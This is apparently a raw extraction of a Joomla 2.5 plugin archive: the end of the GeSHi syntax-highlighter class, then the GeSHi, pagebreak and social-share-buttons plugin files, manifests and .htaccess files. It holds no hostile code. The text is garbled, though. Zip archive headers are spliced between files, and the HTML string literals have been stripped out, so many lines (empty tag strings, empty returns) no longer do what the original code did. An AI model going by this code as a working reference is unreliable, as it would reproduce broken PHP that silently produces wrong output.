this crap if ($this->enable_important_blocks && (strpos($parsed_code, $this->hsc(GESHI_START_IMPORTANT)) === false)) { $parsed_code = str_replace($this->hsc(GESHI_END_IMPORTANT), '', $parsed_code); } // Add HTML whitespace stuff if we're using the
    header if ($this->header_type != GESHI_HEADER_PRE && $this->header_type != GESHI_HEADER_PRE_VALID) { $this->indent($parsed_code); } // purge some unnecessary stuff /** NOTE: memorypeak #1 */ $parsed_code = preg_replace('#]+>(\s*)#', '\\1', $parsed_code); // If we are using IDs for line numbers, there needs to be an overall // ID set to prevent collisions. if ($this->add_ids && !$this->overall_id) { $this->overall_id = 'geshi-' . substr(md5(microtime()), 0, 4); } // Get code into lines /** NOTE: memorypeak #2 */ $code = explode("\n", $parsed_code); $parsed_code = $this->header(); // If we're using line numbers, we insert
  • s and appropriate // markup to style them (otherwise we don't need to do anything) if ($this->line_numbers != GESHI_NO_LINE_NUMBERS && $this->header_type != GESHI_HEADER_PRE_TABLE) { // If we're using the
     header, we shouldn't add newlines because
                // the 
     will line-break them (and the 
  • s already do this for us) $ls = ($this->header_type != GESHI_HEADER_PRE && $this->header_type != GESHI_HEADER_PRE_VALID) ? "\n" : ''; // Set vars to defaults for following loop $i = 0; // Foreach line... for ($i = 0, $n = count($code); $i < $n;) { //Reset the attributes for a new line ... $attrs = array(); // Make lines have at least one space in them if they're empty // BenBE: Checking emptiness using trim instead of relying on blanks if ('' == trim($code[$i])) { $code[$i] = ' '; } // If this is a "special line"... if ($this->line_numbers == GESHI_FANCY_LINE_NUMBERS && $i % $this->line_nth_row == ($this->line_nth_row - 1)) { // Set the attributes to style the line if ($this->use_classes) { //$attr = ' class="li2"'; $attrs['class'][] = 'li2'; $def_attr = ' class="de2"'; } else { //$attr = ' style="' . $this->line_style2 . '"'; $attrs['style'][] = $this->line_style2; // This style "covers up" the special styles set for special lines // so that styles applied to special lines don't apply to the actual // code on that line $def_attr = ' style="' . $this->code_style . '"'; } } else { if ($this->use_classes) { //$attr = ' class="li1"'; $attrs['class'][] = 'li1'; $def_attr = ' class="de1"'; } else { //$attr = ' style="' . $this->line_style1 . '"'; $attrs['style'][] = $this->line_style1; $def_attr = ' style="' . $this->code_style . '"'; } } //Check which type of tag to insert for this line if ($this->header_type == GESHI_HEADER_PRE_VALID) { $start = ""; $end = '
  • '; } else { // Span or div? $start = ""; $end = '
  • '; } ++$i; // Are we supposed to use ids? If so, add them if ($this->add_ids) { $attrs['id'][] = "$this->overall_id-$i"; } //Is this some line with extra styles??? if (in_array($i, $this->highlight_extra_lines)) { if ($this->use_classes) { if (isset($this->highlight_extra_lines_styles[$i])) { $attrs['class'][] = "lx$i"; } else { $attrs['class'][] = "ln-xtra"; } } else { array_push($attrs['style'], $this->get_line_style($i)); } } // Add in the line surrounded by appropriate list HTML $attr_string = ''; foreach ($attrs as $key => $attr) { $attr_string .= ' ' . $key . '="' . implode(' ', $attr) . '"'; } $parsed_code .= "$start{$code[$i-1]}$end$ls"; unset($code[$i - 1]); } } else { $n = count($code); if ($this->use_classes) { $attributes = ' class="de1"'; } else { $attributes = ' style="'. $this->code_style .'"'; } if ($this->header_type == GESHI_HEADER_PRE_VALID) { $parsed_code .= ''; } elseif ($this->header_type == GESHI_HEADER_PRE_TABLE) { if ($this->line_numbers != GESHI_NO_LINE_NUMBERS) { if ($this->use_classes) { $attrs = ' class="ln"'; } else { $attrs = ' style="'. $this->table_linenumber_style .'"'; } $parsed_code .= ''; // get linenumbers // we don't merge it with the for below, since it should be better for // memory consumption this way // @todo: but... actually it would still be somewhat nice to merge the two loops // the mem peaks are at different positions for ($i = 0; $i < $n; ++$i) { $close = 0; // fancy lines if ($this->line_numbers == GESHI_FANCY_LINE_NUMBERS && $i % $this->line_nth_row == ($this->line_nth_row - 1)) { // Set the attributes to style the line if ($this->use_classes) { $parsed_code .= ''; } else { // This style "covers up" the special styles set for special lines // so that styles applied to special lines don't apply to the actual // code on that line $parsed_code .= '' .''; } $close += 2; } //Is this some line with extra styles??? if (in_array($i + 1, $this->highlight_extra_lines)) { if ($this->use_classes) { if (isset($this->highlight_extra_lines_styles[$i])) { $parsed_code .= ""; } else { $parsed_code .= ""; } } else { $parsed_code .= "get_line_style($i) . "\">"; } ++$close; } $parsed_code .= $this->line_numbers_start + $i; if ($close) { $parsed_code .= str_repeat('', $close); } elseif ($i != $n) { $parsed_code .= "\n"; } } $parsed_code .= ''; } $parsed_code .= ''; } // No line numbers, but still need to handle highlighting lines extra. // Have to use divs so the full width of the code is highlighted $close = 0; for ($i = 0; $i < $n; ++$i) { // Make lines have at least one space in them if they're empty // BenBE: Checking emptiness using trim instead of relying on blanks if ('' == trim($code[$i])) { $code[$i] = ' '; } // fancy lines if ($this->line_numbers == GESHI_FANCY_LINE_NUMBERS && $i % $this->line_nth_row == ($this->line_nth_row - 1)) { // Set the attributes to style the line if ($this->use_classes) { $parsed_code .= ''; } else { // This style "covers up" the special styles set for special lines // so that styles applied to special lines don't apply to the actual // code on that line $parsed_code .= '' .''; } $close += 2; } //Is this some line with extra styles??? if (in_array($i + 1, $this->highlight_extra_lines)) { if ($this->use_classes) { if (isset($this->highlight_extra_lines_styles[$i])) { $parsed_code .= ""; } else { $parsed_code .= ""; } } else { $parsed_code .= "get_line_style($i) . "\">"; } ++$close; } $parsed_code .= $code[$i]; if ($close) { $parsed_code .= str_repeat('', $close); $close = 0; } elseif ($i + 1 < $n) { $parsed_code .= "\n"; } unset($code[$i]); } if ($this->header_type == GESHI_HEADER_PRE_VALID || $this->header_type == GESHI_HEADER_PRE_TABLE) { $parsed_code .= ''; } if ($this->header_type == GESHI_HEADER_PRE_TABLE && $this->line_numbers != GESHI_NO_LINE_NUMBERS) { $parsed_code .= ''; } } $parsed_code .= $this->footer(); } /** * Creates the header for the code block (with correct attributes) * * @return string The header for the code block * @since 1.0.0 * @access private */ function header() { // Get attributes needed /** * @todo Document behaviour change - class is outputted regardless of whether * we're using classes or not. Same with style */ $attributes = ' class="' . $this->_genCSSName($this->language); if ($this->overall_class != '') { $attributes .= " ".$this->_genCSSName($this->overall_class); } $attributes .= '"'; if ($this->overall_id != '') { $attributes .= " id=\"{$this->overall_id}\""; } if ($this->overall_style != '' && !$this->use_classes) { $attributes .= ' style="' . $this->overall_style . '"'; } $ol_attributes = ''; if ($this->line_numbers_start != 1) { $ol_attributes .= ' start="' . $this->line_numbers_start . '"'; } // Get the header HTML $header = $this->header_content; if ($header) { if ($this->header_type == GESHI_HEADER_PRE || $this->header_type == GESHI_HEADER_PRE_VALID) { $header = str_replace("\n", '', $header); } $header = $this->replace_keywords($header); if ($this->use_classes) { $attr = ' class="head"'; } else { $attr = " style=\"{$this->header_content_style}\""; } if ($this->header_type == GESHI_HEADER_PRE_TABLE && $this->line_numbers != GESHI_NO_LINE_NUMBERS) { $header = "$header"; } else { $header = "$header
    "; } } if (GESHI_HEADER_NONE == $this->header_type) { if ($this->line_numbers != GESHI_NO_LINE_NUMBERS) { return "$header"; } return $header . ($this->force_code_block ? '
    ' : ''); } // Work out what to return and do it if ($this->line_numbers != GESHI_NO_LINE_NUMBERS) { if ($this->header_type == GESHI_HEADER_PRE) { return "$header"; } elseif ($this->header_type == GESHI_HEADER_DIV || $this->header_type == GESHI_HEADER_PRE_VALID) { return "$header"; } elseif ($this->header_type == GESHI_HEADER_PRE_TABLE) { return "$header"; } } else { if ($this->header_type == GESHI_HEADER_PRE) { return "$header" . ($this->force_code_block ? '
    ' : ''); } else { return "$header" . ($this->force_code_block ? '
    ' : ''); } } } /** * Returns the footer for the code block. * * @return string The footer for the code block * @since 1.0.0 * @access private */ function footer() { $footer = $this->footer_content; if ($footer) { if ($this->header_type == GESHI_HEADER_PRE) { $footer = str_replace("\n", '', $footer); } $footer = $this->replace_keywords($footer); if ($this->use_classes) { $attr = ' class="foot"'; } else { $attr = " style=\"{$this->footer_content_style}\""; } if ($this->header_type == GESHI_HEADER_PRE_TABLE && $this->line_numbers != GESHI_NO_LINE_NUMBERS) { $footer = "$footer"; } else { $footer = "$footer
    "; } } if (GESHI_HEADER_NONE == $this->header_type) { return ($this->line_numbers != GESHI_NO_LINE_NUMBERS) ? '' . $footer : $footer; } if ($this->header_type == GESHI_HEADER_DIV || $this->header_type == GESHI_HEADER_PRE_VALID) { if ($this->line_numbers != GESHI_NO_LINE_NUMBERS) { return "$footer
    "; } return ($this->force_code_block ? '
    ' : '') . "$footer
    "; } elseif ($this->header_type == GESHI_HEADER_PRE_TABLE) { if ($this->line_numbers != GESHI_NO_LINE_NUMBERS) { return "$footer"; } return ($this->force_code_block ? '
    ' : '') . "$footer
    "; } else { if ($this->line_numbers != GESHI_NO_LINE_NUMBERS) { return "$footer"; } return ($this->force_code_block ? '' : '') . "$footer"; } } /** * Replaces certain keywords in the header and footer with * certain configuration values * * @param string The header or footer content to do replacement on * @return string The header or footer with replaced keywords * @since 1.0.2 * @access private */ function replace_keywords($instr) { $keywords = $replacements = array(); $keywords[] = '
      to have no effect at all if there are line numbers // (
        s have margins that should be destroyed so all layout is // controlled by the set_overall_style method, which works on the //
         or 
        container). Additionally, set default styles for lines if (!$economy_mode || $this->line_numbers != GESHI_NO_LINE_NUMBERS) { //$stylesheet .= "$selector, {$selector}ol, {$selector}ol li {margin: 0;}\n"; $stylesheet .= "$selector.de1, $selector.de2 {{$this->code_style}}\n"; } // Add overall styles // note: neglect economy_mode, empty styles are meaningless if ($this->overall_style != '') { $stylesheet .= "$selector {{$this->overall_style}}\n"; } // Add styles for links // note: economy mode does not make _any_ sense here // either the style is empty and thus no selector is needed // or the appropriate key is given. foreach ($this->link_styles as $key => $style) { if ($style != '') { switch ($key) { case GESHI_LINK: $stylesheet .= "{$selector}a:link {{$style}}\n"; break; case GESHI_HOVER: $stylesheet .= "{$selector}a:hover {{$style}}\n"; break; case GESHI_ACTIVE: $stylesheet .= "{$selector}a:active {{$style}}\n"; break; case GESHI_VISITED: $stylesheet .= "{$selector}a:visited {{$style}}\n"; break; } } } // Header and footer // note: neglect economy_mode, empty styles are meaningless if ($this->header_content_style != '') { $stylesheet .= "$selector.head {{$this->header_content_style}}\n"; } if ($this->footer_content_style != '') { $stylesheet .= "$selector.foot {{$this->footer_content_style}}\n"; } // Styles for important stuff // note: neglect economy_mode, empty styles are meaningless if ($this->important_styles != '') { $stylesheet .= "$selector.imp {{$this->important_styles}}\n"; } // Simple line number styles if ((!$economy_mode || $this->line_numbers != GESHI_NO_LINE_NUMBERS) && $this->line_style1 != '') { $stylesheet .= "{$selector}li, {$selector}.li1 {{$this->line_style1}}\n"; } if ((!$economy_mode || $this->line_numbers != GESHI_NO_LINE_NUMBERS) && $this->table_linenumber_style != '') { $stylesheet .= "{$selector}.ln {{$this->table_linenumber_style}}\n"; } // If there is a style set for fancy line numbers, echo it out if ((!$economy_mode || $this->line_numbers == GESHI_FANCY_LINE_NUMBERS) && $this->line_style2 != '') { $stylesheet .= "{$selector}.li2 {{$this->line_style2}}\n"; } // note: empty styles are meaningless foreach ($this->language_data['STYLES']['KEYWORDS'] as $group => $styles) { if ($styles != '' && (!$economy_mode || (isset($this->lexic_permissions['KEYWORDS'][$group]) && $this->lexic_permissions['KEYWORDS'][$group]))) { $stylesheet .= "$selector.kw$group {{$styles}}\n"; } } foreach ($this->language_data['STYLES']['COMMENTS'] as $group => $styles) { if ($styles != '' && (!$economy_mode || (isset($this->lexic_permissions['COMMENTS'][$group]) && $this->lexic_permissions['COMMENTS'][$group]) || (!empty($this->language_data['COMMENT_REGEXP']) && !empty($this->language_data['COMMENT_REGEXP'][$group])))) { $stylesheet .= "$selector.co$group {{$styles}}\n"; } } foreach ($this->language_data['STYLES']['ESCAPE_CHAR'] as $group => $styles) { if ($styles != '' && (!$economy_mode || $this->lexic_permissions['ESCAPE_CHAR'])) { // NEW: since 1.0.8 we have to handle hardescapes if ($group === 'HARD') { $group = '_h'; } $stylesheet .= "$selector.es$group {{$styles}}\n"; } } foreach ($this->language_data['STYLES']['BRACKETS'] as $group => $styles) { if ($styles != '' && (!$economy_mode || $this->lexic_permissions['BRACKETS'])) { $stylesheet .= "$selector.br$group {{$styles}}\n"; } } foreach ($this->language_data['STYLES']['SYMBOLS'] as $group => $styles) { if ($styles != '' && (!$economy_mode || $this->lexic_permissions['SYMBOLS'])) { $stylesheet .= "$selector.sy$group {{$styles}}\n"; } } foreach ($this->language_data['STYLES']['STRINGS'] as $group => $styles) { if ($styles != '' && (!$economy_mode || $this->lexic_permissions['STRINGS'])) { // NEW: since 1.0.8 we have to handle hardquotes if ($group === 'HARD') { $group = '_h'; } $stylesheet .= "$selector.st$group {{$styles}}\n"; } } foreach ($this->language_data['STYLES']['NUMBERS'] as $group => $styles) { if ($styles != '' && (!$economy_mode || $this->lexic_permissions['NUMBERS'])) { $stylesheet .= "$selector.nu$group {{$styles}}\n"; } } foreach ($this->language_data['STYLES']['METHODS'] as $group => $styles) { if ($styles != '' && (!$economy_mode || $this->lexic_permissions['METHODS'])) { $stylesheet .= "$selector.me$group {{$styles}}\n"; } } // note: neglect economy_mode, empty styles are meaningless foreach ($this->language_data['STYLES']['SCRIPT'] as $group => $styles) { if ($styles != '') { $stylesheet .= "$selector.sc$group {{$styles}}\n"; } } foreach ($this->language_data['STYLES']['REGEXPS'] as $group => $styles) { if ($styles != '' && (!$economy_mode || (isset($this->lexic_permissions['REGEXPS'][$group]) && $this->lexic_permissions['REGEXPS'][$group]))) { if (is_array($this->language_data['REGEXPS'][$group]) && array_key_exists(GESHI_CLASS, $this->language_data['REGEXPS'][$group])) { $stylesheet .= "$selector."; $stylesheet .= $this->language_data['REGEXPS'][$group][GESHI_CLASS]; $stylesheet .= " {{$styles}}\n"; } else { $stylesheet .= "$selector.re$group {{$styles}}\n"; } } } // Styles for lines being highlighted extra if (!$economy_mode || (count($this->highlight_extra_lines)!=count($this->highlight_extra_lines_styles))) { $stylesheet .= "{$selector}.ln-xtra, {$selector}li.ln-xtra, {$selector}div.ln-xtra {{$this->highlight_extra_lines_style}}\n"; } $stylesheet .= "{$selector}span.xtra { display:block; }\n"; foreach ($this->highlight_extra_lines_styles as $lineid => $linestyle) { $stylesheet .= "{$selector}.lx$lineid, {$selector}li.lx$lineid, {$selector}div.lx$lineid {{$linestyle}}\n"; } return $stylesheet; } /** * Get's the style that is used for the specified line * * @param int The line number information is requested for * @access private * @since 1.0.7.21 */ function get_line_style($line) { //$style = null; $style = null; if (isset($this->highlight_extra_lines_styles[$line])) { $style = $this->highlight_extra_lines_styles[$line]; } else { // if no "extra" style assigned $style = $this->highlight_extra_lines_style; } return $style; } /** * this functions creates an optimized regular expression list * of an array of strings. * * Example: * $list = array('faa', 'foo', 'foobar'); * => string 'f(aa|oo(bar)?)' * * @param $list array of (unquoted) strings * @param $regexp_delimiter your regular expression delimiter, @see preg_quote() * @return string for regular expression * @author Milian Wolff * @since 1.0.8 * @access private */ function optimize_regexp_list($list, $regexp_delimiter = '/') { $regex_chars = array('.', '\\', '+', '-', '*', '?', '[', '^', ']', '$', '(', ')', '{', '}', '=', '!', '<', '>', '|', ':', $regexp_delimiter); sort($list); $regexp_list = array(''); $num_subpatterns = 0; $list_key = 0; // the tokens which we will use to generate the regexp list $tokens = array(); $prev_keys = array(); // go through all entries of the list and generate the token list $cur_len = 0; for ($i = 0, $i_max = count($list); $i < $i_max; ++$i) { if ($cur_len > GESHI_MAX_PCRE_LENGTH) { // seems like the length of this pcre is growing exorbitantly $regexp_list[++$list_key] = $this->_optimize_regexp_list_tokens_to_string($tokens); $num_subpatterns = substr_count($regexp_list[$list_key], '(?:'); $tokens = array(); $cur_len = 0; } $level = 0; $entry = preg_quote((string) $list[$i], $regexp_delimiter); $pointer = &$tokens; // properly assign the new entry to the correct position in the token array // possibly generate smaller common denominator keys while (true) { // get the common denominator if (isset($prev_keys[$level])) { if ($prev_keys[$level] == $entry) { // this is a duplicate entry, skip it continue 2; } $char = 0; while (isset($entry[$char]) && isset($prev_keys[$level][$char]) && $entry[$char] == $prev_keys[$level][$char]) { ++$char; } if ($char > 0) { // this entry has at least some chars in common with the current key if ($char == strlen($prev_keys[$level])) { // current key is totally matched, i.e. this entry has just some bits appended $pointer = &$pointer[$prev_keys[$level]]; } else { // only part of the keys match $new_key_part1 = substr($prev_keys[$level], 0, $char); $new_key_part2 = substr($prev_keys[$level], $char); if (in_array($new_key_part1[0], $regex_chars) || in_array($new_key_part2[0], $regex_chars)) { // this is bad, a regex char as first character $pointer[$entry] = array('' => true); array_splice($prev_keys, $level, count($prev_keys), $entry); $cur_len += strlen($entry); continue; } else { // relocate previous tokens $pointer[$new_key_part1] = array($new_key_part2 => $pointer[$prev_keys[$level]]); unset($pointer[$prev_keys[$level]]); $pointer = &$pointer[$new_key_part1]; // recreate key index array_splice($prev_keys, $level, count($prev_keys), array($new_key_part1, $new_key_part2)); $cur_len += strlen($new_key_part2); } } ++$level; $entry = substr($entry, $char); continue; } // else: fall trough, i.e. no common denominator was found } if ($level == 0 && !empty($tokens)) { // we can dump current tokens into the string and throw them away afterwards $new_entry = $this->_optimize_regexp_list_tokens_to_string($tokens); $new_subpatterns = substr_count($new_entry, '(?:'); if (GESHI_MAX_PCRE_SUBPATTERNS && $num_subpatterns + $new_subpatterns > GESHI_MAX_PCRE_SUBPATTERNS) { $regexp_list[++$list_key] = $new_entry; $num_subpatterns = $new_subpatterns; } else { if (!empty($regexp_list[$list_key])) { $new_entry = '|' . $new_entry; } $regexp_list[$list_key] .= $new_entry; $num_subpatterns += $new_subpatterns; } $tokens = array(); $cur_len = 0; } // no further common denominator found $pointer[$entry] = array('' => true); array_splice($prev_keys, $level, count($prev_keys), $entry); $cur_len += strlen($entry); break; } unset($list[$i]); } // make sure the last tokens get converted as well $new_entry = $this->_optimize_regexp_list_tokens_to_string($tokens); if (GESHI_MAX_PCRE_SUBPATTERNS && $num_subpatterns + substr_count($new_entry, '(?:') > GESHI_MAX_PCRE_SUBPATTERNS) { if ( !empty($regexp_list[$list_key]) ) { ++$list_key; } $regexp_list[$list_key] = $new_entry; } else { if (!empty($regexp_list[$list_key])) { $new_entry = '|' . $new_entry; } $regexp_list[$list_key] .= $new_entry; } return $regexp_list; } /** * this function creates the appropriate regexp string of an token array * you should not call this function directly, @see $this->optimize_regexp_list(). * * @param &$tokens array of tokens * @param $recursed bool to know wether we recursed or not * @return string * @author Milian Wolff * @since 1.0.8 * @access private */ function _optimize_regexp_list_tokens_to_string(&$tokens, $recursed = false) { $list = ''; foreach ($tokens as $token => $sub_tokens) { $list .= $token; $close_entry = isset($sub_tokens['']); unset($sub_tokens['']); if (!empty($sub_tokens)) { $list .= '(?:' . $this->_optimize_regexp_list_tokens_to_string($sub_tokens, true) . ')'; if ($close_entry) { // make sub_tokens optional $list .= '?'; } } $list .= '|'; } if (!$recursed) { // do some optimizations // common trailing strings // BUGGY! //$list = preg_replace_callback('#(?<=^|\:|\|)\w+?(\w+)(?:\|.+\1)+(?=\|)#', create_function( // '$matches', 'return "(?:" . preg_replace("#" . preg_quote($matches[1], "#") . "(?=\||$)#", "", $matches[0]) . ")" . $matches[1];'), $list); // (?:p)? => p? $list = preg_replace('#\(\?\:(.)\)\?#', '\1?', $list); // (?:a|b|c|d|...)? => [abcd...]? // TODO: a|bb|c => [ac]|bb static $callback_2; if (!isset($callback_2)) { $callback_2 = create_function('$matches', 'return "[" . str_replace("|", "", $matches[1]) . "]";'); } $list = preg_replace_callback('#\(\?\:((?:.\|)+.)\)#', $callback_2, $list); } // return $list without trailing pipe return substr($list, 0, -1); } } // End Class GeSHi if (!function_exists('geshi_highlight')) { /** * Easy way to highlight stuff. Behaves just like highlight_string * * @param string The code to highlight * @param string The language to highlight the code in * @param string The path to the language files. You can leave this blank if you need * as from version 1.0.7 the path should be automatically detected * @param boolean Whether to return the result or to echo * @return string The code highlighted (if $return is true) * @since 1.0.2 */ function geshi_highlight($string, $language, $path = null, $return = false) { $geshi = new GeSHi($string, $language, $path); $geshi->set_header_type(GESHI_HEADER_NONE); if ($return) { return '' . $geshi->parse_code() . ''; } echo '' . $geshi->parse_code() . ''; if ($geshi->error()) { return false; } return true; } } ?> PK>\Vgeshi/geshi/index.htmlnuW+A PK>\Ӫ{ccgeshi/geshi.xmlnuW+A plg_content_geshi Joomla! Project November 2005 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt qbnz.com/highlighter 2.5.0 PLG_CONTENT_GESHI_XML_DESCRIPTION geshi.php index.html geshi en-GB.plg_content_geshi.ini en-GB.plg_content_geshi.sys.ini PK>\*|%geshi/geshi.phpnuW+Atext is also available * @param object The article params * @param int The 'page' number */ public function onContentPrepare($context, &$article, &$params, $page = 0) { // Simple performance check to determine whether bot should process further. if (JString::strpos($article->text, 'pre>') === false) { return true; } // Define the regular expression for the bot. $regex = "#
        (.*?)
        #s"; // Perform the replacement. $article->text = preg_replace_callback($regex, array(&$this, '_replace'), $article->text); return true; } /** * Replaces the matched tags. * * @param array An array of matches (see preg_match_all) * @return string */ protected function _replace(&$matches) { jimport('joomla.utilities.utility'); require_once dirname(__FILE__).'/geshi/geshi.php'; $args = JUtility::parseAttributes($matches[1]); $text = $matches[2]; $lang = JArrayHelper::getValue($args, 'lang', 'php'); $lines = JArrayHelper::getValue($args, 'lines', 'false'); $html_entities_match = array("|\
        |", "#<#", "#>#", "|'|", '#"#', '# #'); $html_entities_replace = array("\n", '<', '>', "'", '"', ' '); $text = preg_replace($html_entities_match, $html_entities_replace, $text); $text = str_replace('<', '<', $text); $text = str_replace('>', '>', $text); $text = str_replace("\t", ' ', $text); $geshi = new GeSHi($text, $lang); if ($lines == 'true') { $geshi->enable_line_numbers(GESHI_NORMAL_LINE_NUMBERS); } $text = $geshi->parse_code(); return $text; } } PK>\Vgeshi/index.htmlnuW+A PK>\)geshi/.htaccessnuW+A Order allow,deny Deny from all PK>\Vpagebreak/index.htmlnuW+A PK>\A"( pagebreak/pagebreak.xmlnuW+A plg_content_pagebreak Joomla! Project November 2005 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 PLG_CONTENT_PAGEBREAK_XML_DESCRIPTION pagebreak.php index.html en-GB.plg_content_pagebreak.ini en-GB.plg_content_pagebreak.sys.ini
        PK>\jҜ!!pagebreak/pagebreak.phpnuW+AUsage: *
        *
        * or *
        * or *
        * or *
        * * @package Joomla.Plugin * @subpackage Content.pagebreak * @since 1.6 */ class plgContentPagebreak extends JPlugin { /** * Constructor * * @access protected * @param object $subject The object to observe * @param array $config An array that holds the plugin configuration * @since 1.5 */ public function __construct(& $subject, $config) { parent::__construct($subject, $config); $this->loadLanguage(); } /** * @param string The context of the content being passed to the plugin. * @param object The article object. Note $article->text is also available * @param object The article params * @param int The 'page' number * * @return void * @since 1.6 */ public function onContentPrepare($context, &$row, &$params, $page = 0) { $canProceed = $context == 'com_content.article'; if (!$canProceed) { return; } $style = $this->params->get('style', 'pages'); // Expression to search for. $regex = '##iU'; $print = JRequest::getBool('print'); $showall = JRequest::getBool('showall'); if (!$this->params->get('enabled', 1)) { $print = true; } if ($print) { $row->text = preg_replace($regex, '
        ', $row->text); return true; } // Simple performance check to determine whether bot should process further. if (JString::strpos($row->text, 'class="system-pagebreak') === false) { return true; } $db = JFactory::getDbo(); $view = JRequest::getString('view'); $full = JRequest::getBool('fullview'); if (!$page) { $page = 0; } if ($params->get('intro_only') || $params->get('popup') || $full || $view != 'article') { $row->text = preg_replace($regex, '', $row->text); return; } // Find all instances of plugin and put in $matches. $matches = array(); preg_match_all($regex, $row->text, $matches, PREG_SET_ORDER); if (($showall && $this->params->get('showall', 1))) { $hasToc = $this->params->get('multipage_toc', 1); if ($hasToc) { // Display TOC. $page = 1; $this->_createToc($row, $matches, $page); } else { $row->toc = ''; } $row->text = preg_replace($regex, '
        ', $row->text); return true; } // Split the text around the plugin. $text = preg_split($regex, $row->text); // Count the number of pages. $n = count($text); // We have found at least one plugin, therefore at least 2 pages. if ($n > 1) { $title = $this->params->get('title', 1); $hasToc = $this->params->get('multipage_toc', 1); // Adds heading or title to Title. if ($title) { if ($page) { $page_text = $page + 1; if ($page && @$matches[$page-1][2]) { $attrs = JUtility::parseAttributes($matches[$page-1][1]); if (@$attrs['title']) { $row->page_title = $attrs['title']; } } } } // Reset the text, we already hold it in the $text array. $row->text = ''; if ($style == 'pages') { // Display TOC. if ($hasToc) { $this->_createToc($row, $matches, $page); } else { $row->toc = ''; } // traditional mos page navigation $pageNav = new JPagination($n, $page, 1); // Page counter. $row->text .= ''; // Page text. $text[$page] = str_replace('
        ', '', $text[$page]); $row->text .= $text[$page]; // $row->text .= '
        '; $row->text .= ''; } else { $t[] = $text[0]; $t[] = (string) JHtml::_($style.'.start'); foreach ($text as $key => $subtext) { if ($key >= 1) { $match= $matches[$key-1]; $match = (array) JUtility::parseAttributes($match[0]); if (isset($match['alt'])) { $title = stripslashes($match["alt"]); } elseif (isset($match['title'])) { $title = stripslashes($match['title']); } else { $title = JText::sprintf('PLG_CONTENT_PAGEBREAK_PAGE_NUM', $key + 1); } $t[] = (string) JHtml::_($style.'.panel', $title, 'basic-details'); } $t[] = (string) $subtext; } $t[] = (string) JHtml::_($style.'.end'); $row->text = implode(' ', $t); } } return true; } /** * @return void * @return 1.6 */ protected function _createTOC(&$row, &$matches, &$page) { $heading = isset($row->title) ? $row->title : JText::_('PLG_CONTENT_PAGEBREAK_NO_TITLE'); $limitstart = JRequest::getUInt('limitstart', 0); $showall = JRequest::getInt('showall', 0); // TOC header. $row->toc = '
        '; if($this->params->get('article_index')==1) { $headingtext= JText::_('PLG_CONTENT_PAGEBREAK_ARTICLE_INDEX'); if($this->params->get('article_index_text')) { htmlspecialchars($headingtext=$this->params->get('article_index_text')); } $row->toc .='

        '.$headingtext.'

        '; } // TOC first Page link. $class = ($limitstart === 0 && $showall === 0) ? 'toclink active' : 'toclink'; $row->toc .= '
        • ' . $heading . '
        • '; $i = 2; foreach ($matches as $bot) { $link = JRoute::_(ContentHelperRoute::getArticleRoute($row->slug, $row->catid, $row->language).'&showall=&limitstart='. ($i-1)); if (@$bot[0]) { $attrs2 = JUtility::parseAttributes($bot[0]); if (@$attrs2['alt']) { $title = stripslashes($attrs2['alt']); } elseif (@$attrs2['title']) { $title = stripslashes($attrs2['title']); } else { $title = JText::sprintf('PLG_CONTENT_PAGEBREAK_PAGE_NUM', $i); } } else { $title = JText::sprintf('PLG_CONTENT_PAGEBREAK_PAGE_NUM', $i); } $class = ($limitstart == $i-1) ? 'toclink active' : 'toclink'; $row->toc .= '
        • ' . $title . '
        • '; $i++; } if ($this->params->get('showall')) { $link = JRoute::_(ContentHelperRoute::getArticleRoute($row->slug, $row->catid, $row->language).'&showall=1&limitstart='); $class = ($showall == 1) ? 'toclink active' : 'toclink'; $row->toc .= '
        • ' . JText::_('PLG_CONTENT_PAGEBREAK_ALL_PAGES') . '
        • '; } $row->toc .= '
        '; } /** * @return void * @since 1.6 */ protected function _createNavigation(&$row, $page, $n) { $pnSpace = ''; if (JText::_('JGLOBAL_LT') || JText::_('JGLOBAL_LT')) { $pnSpace = ' '; } if ($page < $n-1) { $page_next = $page + 1; $link_next = JRoute::_(ContentHelperRoute::getArticleRoute($row->slug, $row->catid, $row->language).'&showall=&limitstart='. ($page_next)); // Next >> $next = '' . JText::_('JNEXT') . $pnSpace . JText::_('JGLOBAL_GT') . JText::_('JGLOBAL_GT') .''; } else { $next = JText::_('JNEXT'); } if ($page > 0) { $page_prev = $page - 1 == 0 ? '' : $page - 1; $link_prev = JRoute::_(ContentHelperRoute::getArticleRoute($row->slug, $row->catid, $row->language).'&showall=&limitstart='. ($page_prev)); // << Prev $prev = ''. JText::_('JGLOBAL_LT') . JText::_('JGLOBAL_LT') . $pnSpace . JText::_('JPREV') .''; } else { $prev = JText::_('JPREV'); } $row->text .= '
        • ' . $prev . '
        • ' . $next .'
        '; } } PK>\)pagebreak/.htaccessnuW+A Order allow,deny Deny from all PK>\+HH)socialsharebuttons/socialsharebuttons.phpnuW+Aparams->get("fbDynamicLocale", 0)) { $lang = JFactory::getLanguage(); $locale = $lang->getTag(); $this->fbLocale = str_replace("-","_",$locale); } else { $this->fbLocale = $this->params->get("fbLocale", "en_US"); } } /** * Add social buttons into the article * * Method is called by the view * * @param string The context of the content being passed to the plugin. * @param object The content object. Note $article->text is also available * @param object The content params * @param int The 'page' number * @since 1.6 */ public function onContentPrepare($context, &$article, &$params, $limitstart) { $app =& JFactory::getApplication(); /* @var $app JApplication */ if($app->isAdmin()) { return; } $doc = JFactory::getDocument(); /* @var $doc JDocumentHtml */ $docType = $doc->getType(); // Check document type if(strcmp("html", $docType) != 0){ return; } $currentOption = JRequest::getCmd("option"); if( ($currentOption != "com_content") OR !isset($this->params)) { return; } $custom = $this->params->get('custom'); if ($custom) { $ok = strstr ($article->text, '{socialsharebuttons}'); } else { $ok=0; } $this->currentView = JRequest::getCmd("view"); /** Check for selected views, which will display the buttons. **/ /** If there is a specific set and do not match, return an empty string.**/ $showInArticles = $this->params->get('showInArticles'); if(!$showInArticles AND (strcmp("article", $this->currentView) == 0)){ return ""; } // Check for category view $showInCategories = $this->params->get('showInCategories'); if(!$showInCategories AND (strcmp("category", $this->currentView) == 0)){ return; } if($showInCategories AND ($this->currentView == "category")) { $articleData = $this->getArticle($article); $article->id = $articleData['id']; $article->catid = $articleData['catid']; $article->title = $articleData['title']; $article->slug = $articleData['slug']; $article->catslug = $articleData['catslug']; } if(!isset($article) OR empty($article->id) ) { return; } $excludeArticles = $this->params->get('excludeArticles'); if(!empty($excludeArticles)){ $excludeArticles = explode(',', $excludeArticles); 